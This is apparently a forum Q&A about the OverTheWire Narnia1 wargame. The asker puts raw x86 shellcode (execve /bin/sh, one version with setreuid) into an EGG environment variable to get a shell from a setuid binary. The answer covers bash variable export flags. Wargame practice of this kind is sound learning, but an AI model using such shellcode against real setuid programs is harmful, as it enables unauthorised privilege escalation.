(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )

When exporting shellcode to EGG environment variable

export EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')"`

Give me something to execute at the env-variable EGG

it seems that EGG is not found despite its content seems to be correct as this hex dump suggest.

narnia1@gibson:~$ printf %s "$EGG" | hexdump -Cv
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  53 89 e1 b0 0b cd 80                              |S......|

On the other side executing directly this

narnia1@gibson:~$ EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')"` /narnia/narnia1
Trying to execute EGG!
$ whoami

give me access to a shell as narnia2.

I don't understand why such a behavior.

Any idea?

1 Answer 1


In order to pass a variable to the next program, it must be marked for export, or provided directly before the command line (what you do in the second case).

The syntax export VAR=<value> both sets the value and marks it for export. Really old shells would require two steps (VAR=<value>; export VAR), but I doubt it is the case here. I suspect something (in PROMPT_COMMAND, maybe) is unmarking the variable for export (declare +x EGG).

You can check if the variable is being exported by running env (e.g. env | grep EGG)

And the actual flags by using declare -p:

$ declare -p EGG # The variable will not be exported
declare -- EGG="..."

$ declare -p EGG # The variable WILL be exported
declare -x EGG="..."

PS: declare is a bash builtin, I am assuming it uses bash. Other shells do things slightly differently. There are also other types of variables (such as indexed and associative arrays) that are not detailed here.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .